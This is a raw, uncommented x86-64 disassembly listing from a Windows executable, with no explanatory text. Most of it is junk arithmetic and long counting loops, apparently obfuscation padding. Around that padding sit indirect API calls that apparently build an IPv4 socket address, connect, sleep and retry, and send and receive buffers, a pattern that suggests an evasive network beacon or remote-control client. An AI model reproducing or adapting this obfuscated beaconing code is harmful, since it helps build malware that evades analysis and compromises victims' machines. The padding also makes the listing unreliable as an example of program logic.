mov dword [rbp - 0x23f], ecx
mov rdx, qword [rbp - 0x240]
mov qword [rbp - 0x2ea], rdx
mov edx, ecx
mov ecx, dword [rbp - 0x23a]
mov qword [rbp - 0x398], r9
mov rdx, rax
mov rcx, qword [rbp - 0x294]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400029bb
mov rdx, qword [rbp - 0x22e]
mov eax, edx
movzx edx, cx
mov dword [rbp - 0x3d], edx
mov eax, dword [rbp - 0x2ce]
xor qword [rbp - 0x2b2], r8
mov qword [rbp - 0x126], r9
sub edx, 0x5208
mov r11, 0xd03a
mov eax, dword [rbp - 0x2e5]
movzx ecx, dl
sub edx, dword [rbp - 0x31c]
add rcx, qword [rbp - 0x430]
mov edx, 0xeb81
sub qword [rbp - 0x78], rdx
mov r9, qword [rbp - 0x103]
and qword [rbp - 0x23d], rdx
sub r8, qword [rbp - 0x178]
and r8, r9
xor dword [0x140009a31], edx
sub eax, 0xffb7
mov qword [rbp - 0x2eb], rdx
mov edx, dword [rbp - 0x15a]
mov dword [rbp - 0x3ea], edx
mov rax, qword [rbp - 0x2a5]
sub eax, dword [rbp - 0xf8]
mov r9, qword [rbp - 0x232]
movzx ecx, ax
mov r10, qword [rbp - 0x9a]
mov rax, qword [rbp - 0x41a]
mov r11, qword [rbp - 0x118]
mov qword [rbp - 0x219], rax
or dword [rbp - 0x3f8], ecx
mov eax, dword [rbp - 0x222]
mov qword [rbp - 0x3e], r11
lea r9, [rbp - 0x308]
mov qword [0x140009a31], rdx
lea r9, [rbp - 0x1b0]
mov eax, dword [rbp - 0xeb]
mov r8, qword [rbp - 0x1e5]
mov qword [0x140009a36], rax
inc qword [rsp]
mov ecx, 0x1305
cmp ecx, dword [rsp]
jl 0x1400028c6
add rsp, 0x10
leave
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
mov r9d, 0
mov rax, qword [0x14000991b]
call rax
push rbp
mov rbp, rsp
sub rsp, 0xe8
and rcx, rax
sub dword [rbp - 0x80], ecx
xor qword [rbp - 0x43], rdx
mov eax, dword [0x140009a35]
movzx ecx, ah
mov qword [rbp - 0x81], rcx
mov ecx, dword [0x140009a38]
lea eax, [rbp - 0xbf]
mov dword [rbp - 0x7f], ecx
mov eax, dword [rbp - 0x46]
mov qword [rbp - 0x47], rcx
mov qword [rbp - 0x40], rax
sub qword [rbp - 0x1a], rcx
xor r8, qword [rbp - 0x97]
mov edx, ecx
mov edx, dword [rbp - 0x82]
mov r9, r10
mov dword [rbp - 0x41], eax
mov dword [rbp - 6], edx
sub rax, qword [rbp - 0x34]
mov rcx, qword [rbp - 0x3c]
or eax, dword [rbp - 0xa7]
mov r9, qword [rbp - 0xc9]
mov r8, rax
add qword [rbp - 0xd0], r8
test rcx, 0xa3193e8
jae 0x140002b45
mov r11, qword [rbp - 0x98]
add rdx, r8
and dword [rbp - 0xc], ecx
mov qword [rbp - 0xc3], r9
mov edx, eax
lea r10, [rbp - 0x6e]
mov ecx, 0x569b
add ecx, eax
mov rdx, qword [rbp - 0x72]
mov r8, qword [rbp - 0x33]
movzx eax, byte [0x140009a38]
mov qword [rbp - 0x20], r9
mov edx, dword [rbp - 0x3b]
mov ecx, dword [rbp - 0x39]
mov r9, qword [rbp - 0x41]
mov eax, edx
mov dword [rbp - 0x2f], ecx
mov r11, qword [rbp - 0x4b]
movzx edx, byte [0x140009a38]
lea rcx, [rbp - 0x3d]
and eax, dword [rbp - 0x5f]
mov edx, ecx
mov rax, rcx
add dword [rbp - 0x48], eax
or eax, dword [rbp - 0xce]
mov eax, edx
add r11, qword [rbp - 0x84]
sub rax, rdx
movzx edx, dl
mov ecx, dword [rbp - 0xc5]
add r9, rdx
mov ecx, dword [rbp - 0xcd]
sub rdx, qword [rbp - 0x18]
xor edx, dword [rbp - 0x23]
mov rdx, rcx
movzx edx, al
movzx eax, ah
mov dword [0x140009a3a], eax
and rax, r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002b2b
mov dword [rbp - 0xa5], ecx
mov edx, dword [rbp - 0x49]
inc qword [rsp]
mov edx, 0x3d71
cmp edx, dword [rsp]
jl 0x140002b1e
add rsp, 0x10
mov ecx, dword [rbp - 0xdf]
sub r11, rdx
and dword [rbp - 0x2a], eax
leave
lea rsi, [0x140009313]
mov r10, qword [rbp + 0x80]
call fcn.14000579f
push r12
push r15
push rdi
push rbx
push r13
push r14
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x118
mov qword [rbp - 0xf2], r13
mov qword [rbp - 0x6e], rdx
sub ecx, 0xeb3d
movzx eax, bl
add r12, qword [rbp - 0x92]
mov dword [rbp - 0x10f], esi
cmp rdi, rdx
js 0x140002bc5
add r14, qword [rbp - 0xdd]
mov r14, qword [rbp - 0xa0]
movzx eax, al
movzx eax, bl
mov eax, dword [rbp - 0xde]
mov dword [0x140009a39], esi
mov dword [rbp - 0xe3], esi
movzx ecx, dl
add dword [rbp - 0x55], eax
mov qword [rbp - 0x21], r9
sub edi, dword [rbp]
mov r8, rsi
mov r15, qword [rbp - 0xc0]
mov dword [rbp - 0x34], edi
cmp esi, eax
jne 0x140002be8
sub r12, qword [rbp - 0x6d]
mov rax, qword [rbp - 0x8b]
mov ecx, edx
mov edx, esi
cmp r9, qword [0x140009a31]
jo 0x140002cb9
mov qword [rbp - 0x5f], rax
mov r14, qword [rbp - 0x105]
mov dword [rbp - 0xb], edi
mov edx, ecx
mov dword [rbp - 0x51], ecx
mov rax, qword [rbp - 0x37]
mov edi, ecx
and eax, dword [rbp - 0xfc]
mov dword [rbp - 0xe2], esi
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002c5f
add qword [rbp - 0xff], r10
mov r12, qword [rbp - 0xdc]
lea r12, [rbp - 0x23]
mov edi, dword [rbp - 0x8c]
add qword [rbp - 0x50], r15
mov dword [rbp - 0xb8], ebx
mov qword [rbp - 0x98], r8
mov r11, 0xd818
movzx ecx, cl
inc qword [rsp]
cmp qword [rsp], 0xfb9f
jle 0x140002c28
add rsp, 0x10
mov ebx, dword [rbp - 0xf0]
movzx ebx, byte [0x140009a30]
and rax, qword [rbp - 0x88]
mov qword [rbp - 0x9c], r12
lea rax, [rbp - 0x86]
add edi, dword [rbp - 0xfa]
add dword [rbp - 0xfa], edi
mov rcx, qword [rbp - 0x97]
add esi, dword [rbp - 0x9b]
mov rcx, qword [rbp - 0xb0]
xor edi, dword [rbp - 0x7d]
mov bx, ax
mov edx, ebx
mov edi, ebx
leave
pop rsi
pop r14
pop r13
pop rbx
pop rdi
pop r15
pop r12
mov rcx, qword [0x14000930b]
mov rdx, 0xea60
mov rax, qword [0x140009933]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x2a8
or r11, rdx
mov edx, 0x368
mov rax, qword [rbp - 0x288]
mov r9, 0xbd6a
cmp ecx, 0x79f33944
je 0x140002d2d
mov r10, qword [rbp - 0x224]
mov ecx, dword [rbp - 0xf8]
mov qword [rbp - 0x256], r8
mov eax, dword [rbp - 0x164]
mov r9, qword [rbp - 0x40]
mov dword [rbp - 0x25e], eax
mov r9, qword [rbp - 0x7f]
sub r10, r11
mov r10, qword [rbp - 0x120]
mov edx, dword [rbp - 0x278]
lea ecx, [rbp - 0x208]
mov r11, rdx
mov r9, qword [rbp - 0x69]
mov rdx, qword [rbp - 0xa7]
mov dword [rbp - 0x77], eax
mov qword [0x140009a38], rdx
mov edx, ecx
mov rax, qword [rbp - 0x277]
mov edx, ecx
cmp r11, qword [0x140009a2c]
jno 0x140002dbf
or rcx, 0x855c
movzx eax, al
mov dword [rbp - 0xb7], eax
mov r8, r9
mov r11, qword [rbp - 0x11a]
movzx eax, al
mov edx, ecx
xor dword [rbp - 0x13c], edx
lea edx, [rbp - 0xce]
mov qword [rbp - 0x1e3], r8
mov rdx, 0x7de8
mov dword [rbp - 0x16c], eax
mov r9, qword [rbp - 0x282]
mov r11, rcx
mov qword [rbp - 0x1e2], rax
mov qword [rbp - 0x1b5], rcx
mov edx, eax
mov dword [rbp - 0x185], eax
mov qword [rbp - 0xc4], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002e18
or rax, r11
mov r9, qword [rbp - 0xdc]
movzx edx, dx
lea rdx, [rbp - 0x64]
mov eax, edx
mov rcx, rdx
mov edx, ecx
mov ecx, dword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO]
or edx, dword [rbp - 0x89]
mov dword [0x140009a2c], edx
xor rdx, 0x3d61
inc qword [rsp]
cmp qword [rsp], 0x7a6d
jle 0x140002de3
add rsp, 0x10
mov rax, r8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002e7a
mov rcx, qword [rbp - 0x33]
sub rax, 0xf4db
mov rcx, qword [rbp - 0x91]
add rax, qword [rbp - 0x64]
or edx, 0x1185
mov rax, qword [rbp - 0x22e]
mov r8, qword [rbp - 0xff]
mov byte [rbp - 0x272], cl
mov r10, qword [0x140009a31]
mov eax, dword [rbp - 0x35]
mov eax, dword [rbp - 0x12f]
inc qword [rsp]
cmp qword [rsp], 0x592b
jle 0x140002e37
add rsp, 0x10
sub eax, 0x5869
add rax, qword [0x140009a34]
leave
mov rcx, 0x4006
mov rax, qword [0x1400099c3]
call rax
mov qword [0x1400092fb], rax
push r14
push r15
push rbx
push r13
push r12
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x1e8
cmp rcx, qword [0x140009a34]
jo 0x140002ff5
mov r13, rax
sub rdx, 0x5bdd
mov edx, ecx
mov ecx, dword [rbp - 0x46]
mov r15, 0xbb87
add cx, 0x5050
add dword [rbp - 0x22], esi
mov qword [0x140009a2c], rdx
movzx ecx, bx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002fe0
mov r8, rbx
or ecx, esi
add r9, 0xfe90
xor esi, ebx
sub r10, r15
mov r11, qword [rbp - 0x2a]
mov qword [rbp - 0x1b7], r9
xor ecx, eax
and edx, 0xf5e7
and edx, 0xeed9
mov dword [rbp - 0xc5], ebx
mov r11, qword [rbp - 0x23]
mov dword [rbp - 0x1b8], edx
add esi, ecx
mov dword [rbp - 0x154], esi
mov bx, ax
mov eax, dword [rbp - 3]
mov rdx, qword [rbp - 0x1b7]
or dword [rbp - 0x5b], ecx
xor ecx, esi
mov eax, dword [rbp - 0x1b0]
xor r14, qword [rbp - 0x194]
mov dword [rbp - 0xc8], eax
mov eax, edx
sub r10, 0xebe8
mov eax, dword [0x140009a38]
mov r14, qword [rbp - 0x11a]
or rsi, qword [rbp - 0x153]
add rcx, 0x22a7
mov r12, qword [rbp - 0xc6]
sub edx, 0x2c79
mov qword [rbp - 0x97], r14
mov r11, r12
or rbx, qword [rbp - 2]
mov edx, ebx
sub dword [rbp - 0x2c], esi
mov r9, rbx
or r10, qword [rbp - 0x22]
mov qword [rbp - 0xca], rcx
and byte [rbp - 0x9d], bh
mov r12, 0x4f0b
mov dword [0x140009a38], eax
add esi, dword [0x140009a34]
mov eax, dword [rbp - 0x73]
inc qword [rsp]
mov r15, 0xae48
cmp qword [rsp], r15
jle 0x140002f07
add rsp, 0x10
leave
pop rsi
pop r12
pop r13
pop rbx
pop r15
pop r14
mov rcx, qword [0x1400092fb]
mov eax, dword [0x1400091b7]
mov dword [rcx], eax
mov word [rcx + 4], 2
add rcx, 6
lea rdx, str._t_t_v_n_f39RKWU_n_v
mov rax, qword [0x1400099cb]
call rax
push r15
push rbp
mov rbp, rsp
sub rsp, 0x98
or edx, ecx
movzx edx, ax
sub eax, ecx
mov dword [rbp - 0x20], ecx
and qword [rbp - 0x19], r9
mov rax, r8
mov rdx, qword [rbp - 3]
add r11, r9
mov qword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO], rdx
mov r10, rax
mov rdx, rax
mov edx, 0x2c0b
mov dword [rbp - 0x56], ecx
mov rdx, qword [0x140009a3a]
mov dword [0x140009a30], edx
mov ecx, dword [rbp - 0x36]
mov eax, ecx
test qword [0x140009a38], r15
jb 0x1400030a2
mov qword [rbp - 0x6c], rdx
sub rdx, qword [rbp - 0x33]
sub qword [rbp - 0xe], r9
mov r9, qword [0x140009a34]
mov eax, dword [rbp - 0x80]
and r11, qword [rbp - 0x7e]
sub r10, rax
mov qword [rbp - 0x8d], r9
sub qword [rbp - 0x6e], rcx
movzx ecx, dl
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400030d2
sub dword [rbp - 0x3a], edx
sub rcx, rax
mov r8, r9
mov qword [rbp - 0x2d], rax
mov rcx, qword [rbp - 0x5e]
mov ch, ah
lea rdx, [rbp - 0x6b]
inc qword [rsp]
cmp qword [rsp], 0xf26d
jle 0x1400030b7
add rsp, 0x10
mov qword [rbp - 0x16], r8
lea r10, [rbp - 0x3c]
movzx ecx, dl
mov r11, qword [rbp - 0x65]
mov word [rbp - 0x50], cx
mov edx, dword [rbp - 0x12]
mov eax, edx
add rax, r11
xor qword [rbp - 0x48], r8
lea r15, [rbp - 0x7d]
mov r8, rax
mov ecx, dword [rbp - 0x24]
mov eax, dword [rbp - 0x38]
mov eax, dword [rbp - 0x68]
mov ecx, eax
mov dword [rbp - 0x72], ecx
mov cl, byte [rbp - 0x4a]
mov ecx, dword [rbp - 0x78]
add ecx, 0xcf5c
mov dword [0x140009a33], ecx
mov ecx, eax
and qword [rbp - 0x11], rcx
leave
pop r15
mov rdx, qword [0x1400092fb]
add rdx, 0xc
mov rcx, qword [rbp + 0x88]
mov r8, 0x4000
jmp 0x140003245
lea r9, [0x140009303]
mov qword [rsp + 0x20], 0
mov rax, qword [0x140009923]
call rax
add qword [0x140009303], 0xc
push rbp
mov rbp, rsp
sub rsp, 0x4e8
mov dword [rbp - 0x472], eax
cmp r11, r10
je 0x1400033dd
and rcx, r8
mov qword [rbp - 0xb5], rdx
mov qword [rbp - 0x201], r9
mov rdx, qword [rbp - 0x3a8]
add eax, ecx
mov ax, dx
lea r10, [rbp - 0x2cb]
sub dword [rbp - 0x24d], edx
mov qword [rbp - 0x265], r11
mov r10, qword [rbp - 0x16f]
movzx edx, ah
movzx ecx, cl
mov qword [rbp - 0x4a0], rcx
mov eax, 0x27b3
mov edx, eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400032ec
lea rax, [rbp - 0x4b8]
mov qword [rbp - 0x3c7], rax
inc qword [rsp]
mov ecx, 0xf3b9
cmp ecx, dword [rsp]
jl 0x1400032da
add rsp, 0x10
or rdx, qword [rbp - 0x337]
mov ecx, dword [rbp - 0x44c]
mov rax, qword [rbp - 0x17f]
mov rax, qword [0x140009a31]
movzx ecx, cl
lea edx, [rbp - 0x61]
mov ecx, eax
sub r11, qword [rbp - 0x1f8]
sub edx, dword [rbp - 0xa]
and eax, 0x225f
sub edx, dword [rbp - 0x498]
mov qword [rbp - 0x295], rcx
mov edx, 0xa3df
movzx ecx, dh
movzx edx, al
sub eax, dword [0x140009a34]
mov eax, ecx
sub edx, dword [rbp - 0x237]
or ecx, dword [rbp - 0x382]
mov dword [rbp - 0x8c], edx
add ecx, edx
mov rdx, r9
lea eax, [rbp - 0x15c]
mov rcx, qword [rbp - 0xbb]
mov dword [rbp - 0x3d8], eax
add ecx, eax
mov dword [rbp - 0x28a], eax
mov dword [rbp - 0x475], edx
mov rax, qword [0x140009a39]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400033cf
mov dword [rbp - 0x44f], eax
mov dword [rbp - 0x157], edx
and qword [rbp - 0x2fb], rcx
mov r8, qword [0x140009a32]
add rdx, rcx
sub ecx, dword [rbp - 0x486]
sub dword [rbp - 0x2e1], edx
movzx edx, al
mov dword [rbp - 0x1a4], ecx
inc qword [rsp]
mov edx, 0x3e
cmp edx, dword [rsp]
jl 0x140003399
add rsp, 0x10
leave
lea rbp, [rsp + 0x200]
mov rcx, qword [0x1400092fb]
lea rdx, [0x14000947e]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
jne 0x140006d08
push r14
push rbp
mov rbp, rsp
sub rsp, 0x118
mov qword [rbp - 0xad], r14
add r8, 0x6184
mov ecx, dword [rbp - 0x24]
mov r10, qword [rbp - 0xd7]
or dword [rbp - 0x6e], edx
mov byte [0x140009a37], ah
sub dword [rbp - 0x91], eax
mov r14, r8
mov ecx, dword [0x140009a2c]
mov r14, r10
mov r10, qword [rbp - 0x34]
mov rax, 0x5c9e
mov edx, 0xc919
lea r14, [rbp - 0x4a]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003490
sub r9, 0xa84c
mov qword [rbp - 0x3a], r8
mov edx, eax
mov dword [rbp - 0x85], edx
movzx ecx, dl
xor r10, 0xb6ba
mov r11, qword [rbp - 0x50]
mov eax, ecx
inc qword [rsp]
mov eax, 0x6663
cmp eax, dword [rsp]
jl 0x140003469
add rsp, 0x10
mov r11, 0xddc
mov ecx, eax
mov qword [rbp - 0x7f], r14
mov rax, qword [rbp - 0x4a]
and qword [rbp - 0xbd], r10
mov qword [rbp - 0x2b], rax
cmp ecx, 0x3ed3a79f
jne 0x140003537
mov qword [rbp - 0xb8], rcx
add rdx, qword [rbp - 0x20]
or qword [rbp - 0xe6], r9
add rax, qword [rbp - 0x10d]
and qword [rbp - 0x42], r11
lea r14, [rbp - 0x13]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400034f9
add r9, qword [rbp - 0x7f]
inc qword [rsp]
mov ecx, 0x7abf
cmp ecx, dword [rsp]
jl 0x1400034f1
add rsp, 0x10
mov dword [0x140009a2c], eax
lea r14, [rbp - 0xba]
mov rcx, rdx
or dword [0x140009a38], eax
xor r10, qword [rbp - 0x99]
movzx eax, al
mov edx, ecx
mov qword [rbp - 8], rax
movzx edx, dx
mov ecx, 0xa81e
mov edx, eax
cmp rdx, 0xffffffffb2228abf
js 0x140003547
movzx edx, dx
lea rdx, [rbp - 0x40]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003575
mov r11, qword [rbp - 0xc5]
sub ax, 0x4853
mov rdx, rcx
movzx edx, cl
add qword [rbp - 0x64], r14
or rax, qword [rbp - 0xb4]
inc qword [rsp]
cmp qword [rsp], 0x4b8a
jle 0x140003555
add rsp, 0x10
leave
pop r14
mov rdi, qword [0x1400092fb]
add rdi, 6
movsxd rsi, dword [0x140009303]
mov r12, 0x78
call fcn.14000507b
mov rcx, 0x3e8
mov rax, qword [0x14000992b]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x58
sub rcx, r9
test qword [0x140009a2f], r10
jmp 0x1400035de
movzx ecx, ch
mov dword [rbp - 0x4d], edx
mov dword [rbp - 0x13], edx
cmp r11, r10
jae 0x1400036c9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000362c
lea r11, [rbp - 4]
mov r10, qword [rbp - 0xd]
add r8, r11
xor r11, qword [rbp - 0x10]
sub r8, r9
mov dword [0x140009a34], eax
mov dword [rbp - 0x1c], ecx
sub qword [rbp - 0x2c], rcx
add qword [rbp - 0x4a], rcx
and qword [0x140009a30], r8
inc qword [rsp]
mov ecx, 0xaff6
cmp ecx, dword [rsp]
jl 0x1400035fe
add rsp, 0x10
mov eax, dword [rbp - 0x33]
or dword [rbp - 0x37], edx
mov qword [rbp - 0x34], r11
mov qword [rbp - 0x2b], r10
mov dword [rbp - 0x1a], edx
mov rax, r8
and rcx, rdx
mov rdx, qword [0x140009a39]
mov dword [rbp - 0xa], edx
sub ecx, dword [0x140009a32]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400036bb
mov ecx, edx
add qword [0x140009a2e], r10
mov rax, r8
movzx edx, dh
add r11, rdx
mov eax, 0xeeb
mov ecx, dword [rbp - 0x38]
sub dword [rbp - 0xc], ecx
mov eax, ecx
or qword [rbp - 0x4e], r10
mov qword [0x140009a2e], r9
movzx eax, dh
add dword [rbp - 0x19], edx
or ecx, eax
and eax, dword [rbp - 0x27]
lea eax, [0x140009a33]
mov dword [rbp - 0x49], ecx
mov r10, r8
or r8, qword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO]
inc qword [rsp]
mov ecx, 0xa56f
cmp ecx, dword [rsp]
jl 0x14000366f
add rsp, 0x10
leave
cmp qword [0x1400092f0], 0
je 0x1400036ef
mov rcx, qword [0x1400092f0]
mov rax, qword [0x1400099b3]
call rax
mov qword [0x1400092f0], 0
cmp qword [0x140009782], 0xffffffffffffffff
je 0x140003a3d
jne 0x140003a12
push r15
push r14
push r13
push rbp
mov rbp, rsp
sub rsp, 0x368
sub ecx, edx
mov eax, dword [rbp - 0x21b]
mov r15, r8
call fcn.14000393a
or qword [rbp - 0x173], r8
mov qword [rbp - 0x28e], rdx
movzx edx, ch
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003767
call fcn.14000381b
sub ecx, edx
mov rax, qword [rbp - 0x16]
mov rcx, qword [rbp - 0x2f2]
add qword [rbp - 0x2f1], r14
mov qword [rbp - 0x1ab], r10
inc qword [rsp]
cmp qword [rsp], 0x42e7
jle 0x140003743
add rsp, 0x10
mov r10, qword [rbp - 0x174]
mov dl, byte [0x140009a33]
and eax, 0x19d
mov ecx, edx
mov rcx, qword [rbp - 0xe5]
mov r10, qword [rbp - 0x1dc]
mov edx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x1cd]
or ax, dx
mov edx, dword [rbp - 0x2fa]
mov edx, dword [rbp - 0x117]
mov ecx, dword [rbp - 0x66]
add dword [rbp - 0x24e], eax
cmp eax, dword [0x140009a30]
je 0x1400037d7
mov r14, r13
mov byte [rbp - 0x1b3], ch
mov qword [rbp - 0x226], r9
movzx edx, cx
movzx ecx, al
mov qword [rbp - 0x66], r11
and rcx, r9
mov r11, qword [rbp - 0x1d5]
sub r15, qword [rbp - 0xc3]
mov dword [rbp - 0x137], ecx
mov dword [rbp - 0x1ad], ecx
add rcx, qword [rbp - 0xbd]
mov qword [0x140009a2f], r14
movzx edx, ax
mov qword [rbp - 0x1e1], r14
sub r11, rdx
leave
pop r13
pop r14
pop r15
ret
mov rcx, qword [0x140009782]
mov rax, qword [0x140009963]
call rax
mov qword [0x140009782], 0xffffffffffffffff
mov rcx, 0x493e0
mov rax, qword [0x14000992b]
call rax
call 0x140006ebf
cmp rax, 0xffffffffffffffff
je 0x1400035a4
mov qword [0x140009782], rax
push rsi
push rbx
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x438
mov esi, ebx
mov esi, dword [rbp - 0x1c7]
mov qword [rbp - 0x213], rbx
mov r11, r10
sub cl, byte [rbp - 0x33c]
lea ecx, [rbp - 0xfe]
xor ecx, 0xaac4
add edi, edx
mov r9, rax
movzx esi, ah
movzx edi, di
cmp edx, ebx
js 0x140003bf4
movzx edx, bl
mov r8, rdi
movzx esi, al
xor rbx, qword [rbp - 0x2b1]
mov edx, dword [rbp - 0x33a]
sub rcx, rsi
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003bc7
mov qword [0x140009a2f], rdx
mov edx, ebx
sub r11, qword [rbp - 0x3a1]
mov ebx, dword [rbp - 0x295]
mov dword [rbp - 0x2ff], edi
lea r10, [rbp - 0x2bd]
mov qword [rbp - 0x17e], r11
mov qword [rbp - 0x29a], r8
mov ecx, dword [rbp - 0xcf]
mov cx, word [rbp - 0x308]
mov ebx, dword [rbp - 0x3d4]
mov ebx, dword [rbp - 0xbc]
xor rdx, r10
mov rbx, rdx
sub rdx, qword [rbp - 0x65]
or edx, dword [rbp - 0x149]
mov dword [rbp - 0x20e], ecx
add cx, word [rbp - 0x30c]
mov rdi, qword [rbp - 0x23d]
mov qword [rbp - 0x22f], rbx
movzx eax, cl
xor dword [rbp - 0x33b], edi
mov eax, esi
lea ecx, [rbp - 0xc9]
add rsi, rbx
sub eax, 0xd594
or rdi, 0x4d4d
mov dword [0x140009a34], edi
mov qword [rbp - 0x405], r9
mov qword [0x140009a39], rcx
mov esi, dword [rbp - 0x2f1]
add qword [0x140009a3a], r11
sub dword [rbp - 0x3a6], edx
sub r11, r10
xor al, byte [rbp - 0x6a]
mov edx, dword [rbp - 0x34c]
mov qword [rbp - 0x314], r9
sub r11, qword [rbp - 0x12a]
xor r10, rcx
mov rax, rsi
mov rcx, qword [rbp - 0x383]
add rdx, qword [rbp - 0x298]
or edx, esi
or eax, dword [rbp - 0x27c]
mov edi, dword [rbp - 0x109]
movzx ebx, bx
sub edi, 0xeb5e
inc qword [rsp]
mov eax, 0x4ee4
cmp eax, dword [rsp]
jl 0x140003ac2
add rsp, 0x10
mov rcx, r9
mov ebx, 0x64a8
movzx edi, dl
mov qword [rbp - 0x248], r9
mov eax, dword [rbp - 0x409]
mov ecx, dword [rbp - 0xd]
leave
pop rdi
pop rbx
pop rsi
mov rcx, 0x200
add rcx, qword [0x140009303]
mov rax, qword [0x1400099c3]
call rax
mov qword [0x140009240], rax
mov rcx, rax
lea rdx, [0x1400091c6]
mov r8, qword [0x1400091be]
mov r9, qword [0x140009303]
mov rax, qword [0x1400099cb]
call rax
mov qword [0x140009248], rax
mov rcx, qword [0x140009303]
add qword [0x140009248], rcx
mov rcx, qword [0x140009240]
add rcx, rax
mov rdx, qword [0x1400092fb]
mov r8, qword [0x140009303]
mov rax, qword [0x1400099eb]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x4a8
and rdx, r10
mov dword [rbp - 0x33e], edx
mov ecx, eax
mov r11, qword [rbp - 0x2fa]
add r11, qword [0x140009a35]
mov dword [rbp - 0x419], ecx
mov ecx, dword [rbp - 0x8c]
mov qword [rbp - 0x2ed], r8
mov qword [rbp - 0x448], r11
mov qword [rbp - 0x368], r8
mov r9, qword [rbp - 0x36c]
test ecx, edx
jae 0x140003ce6
mov r9, r11
xor ecx, dword [rbp - 0x117]
mov dword [rbp - 0xfc], ecx
movzx eax, al
cmp ecx, edx
je 0x140003cdd
sub edx, dword [rbp - 0x30f]
sub ax, 0x9208
movzx edx, dh
sub ecx, dword [rbp - 0x1e2]
cmp r9, rcx
je 0x140003ceb
add r9, rdx
sub qword [rbp - 0x2a7], rcx
mov eax, dword [rbp - 0xc6]
lea rdx, [rbp - 0xeb]
sub r9, rcx
movzx ecx, byte [rbp - 0x175]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003d80
add qword [0x140009a2e], r8
add edx, dword [rbp - 0x3fb]
mov ecx, 0x87ba
mov qword [0x140009a39], rdx
or ecx, 0x2c13
add ecx, 0x9941
mov r11, 0xedb5
mov dword [0x140009a31], ecx
movzx eax, al
mov r11, qword [rbp - 0x1fe]
add r9, 0x6300
mov qword [rbp - 0x173], r8
movzx ecx, cl
mov ecx, edx
xor r9, r11
sub qword [rbp - 0x2d9], r11
sub qword [rbp - 0xde], r8
and ecx, eax
inc qword [rsp]
cmp qword [rsp], 0x9d0f
jle 0x140003d1a
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003db3
mov r9, 0x2611
mov r11, qword [rbp - 0x2fa]
mov edx, 0x318a
inc qword [rsp]
mov edx, 0xb825
cmp edx, dword [rsp]
jl 0x140003d9c
add rsp, 0x10
mov r8, qword [rbp - 0x2ac]
mov eax, dword [rbp - 0x57]
or eax, ecx
add eax, 0xdcde
leave
mov qword [rbp - 0xbe], 0
mov rcx, qword [0x140009782]
mov rdx, qword [0x140009240]
mov r8, qword [0x140009248]
inc r8
mov r9, 0
mov rax, qword [0x14000997b]
call rax
push rax
push rax
mov rcx, qword [0x140009240]
mov rax, qword [0x1400099b3]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x238
sub ax, dx
mov ecx, eax
mov qword [rbp - 0x9a], r11
add eax, dword [rbp - 0x53]
mov qword [0x140009a36], rdx
mov r10, 0x51cf
mov qword [rbp - 0x8d], rax
movzx eax, ax
mov rcx, 0xb0cd
mov rdx, qword [rbp - 0xca]
sub r11, 0x562
xor rcx, 0x7ad5
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x4b], rcx
cmp rax, r8
jns 0x140003f9c
mov edx, dword [rbp - 0xdd]
sub edx, 0x9dbc
or edx, eax
mov dword [rbp - 0xf9], eax
mov edx, dword [rbp - 0x160]
add eax, ecx
sub r11, qword [rbp - 0x210]
mov r11, qword [rbp - 0x4b]
sub eax, ecx
mov ecx, dword [rbp - 0x15f]
mov dword [rbp - 0xf3], ecx
add ecx, dword [rbp - 0x1b5]
mov ecx, eax
mov dword [rbp - 0xd2], eax
mov ecx, dword [rbp - 0x1ba]
lea edx, [rbp - 0x30]
and eax, dword [rbp - 0x61]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003f37
and r9, rcx
sub qword [rbp - 0xb0], r10
mov ecx, edx
mov ecx, dword [rbp - 0x13b]
mov edx, ecx
sub edx, dword [rbp - 0x53]
and ecx, edx
mov r9, 0x136f
xor r8, qword [0x140009a3a]
add rdx, 0x7980
sub ecx, dword [rbp - 0x115]
mov edx, eax
add edx, dword [rbp - 0x141]
add r9, 0xb518
mov rcx, 0x4981
lea ecx, [rbp - 0xae]
mov rdx, r11
mov qword [rbp - 0x163], rax
mov eax, 0x664e
inc qword [rsp]
mov r8, 0xf649
cmp qword [rsp], r8
jle 0x140003ed4
add rsp, 0x10
add qword [rbp - 0x1a2], rax
mov r11, 0x2c38
mov ecx, dword [0x140009a2d]
sub dword [rbp - 0x1b8], ecx
and rax, 0x2f97
mov r9, qword [rbp - 0xe6]
movzx edx, ch
lea rax, [rbp - 0x3e]
mov eax, dword [rbp - 0x1f0]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003f8e
inc qword [rsp]
mov ecx, 0xb602
cmp ecx, dword [rsp]
jl 0x140003f8a
add rsp, 0x10
leave
pop rax
pop rax
cmp eax, 0
jle 0x1400035a4
push r13
push rbp
mov rbp, rsp
